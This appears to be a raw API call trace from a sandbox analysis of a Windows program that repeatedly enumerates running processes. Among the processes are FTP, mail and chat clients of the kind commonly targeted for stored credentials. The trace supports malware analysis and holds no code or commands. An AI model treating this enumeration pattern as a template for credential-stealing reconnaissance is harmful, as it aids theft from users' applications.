lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0124.794] CloseHandle (hObject=0x1e9c) returned 1 [0124.794] Sleep (dwMilliseconds=0x64) [0124.908] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e84 [0124.925] Process32First (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.927] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.929] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.931] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.934] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.936] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.938] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.940] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.943] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.945] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.948] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.950] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0125.022] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.025] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.027] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.029] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.032] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.034] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.037] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.039] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0125.041] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0125.043] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0125.045] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.048] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0125.050] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0125.052] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0125.054] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0125.056] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0125.059] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0125.061] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0125.064] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.066] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0125.068] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0125.070] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0125.073] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0125.076] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.079] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0125.082] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0125.084] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0125.086] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0125.088] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0125.090] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0125.093] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0125.095] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0125.097] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0125.099] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0125.102] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0125.104] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0125.106] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0125.108] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0125.110] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0125.113] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0125.116] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0125.118] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0125.120] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0125.123] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0125.125] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0125.128] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0125.130] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0125.172] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0125.177] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0125.180] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0125.182] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0125.185] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0125.189] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0125.191] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0125.194] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0125.197] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0125.200] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0125.202] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0125.205] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0125.208] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0125.210] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0125.213] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0125.216] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0125.218] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0125.378] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0125.381] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0125.384] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0125.387] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0125.390] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0125.392] Process32Next (in: hSnapshot=0x1e84, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0125.395] 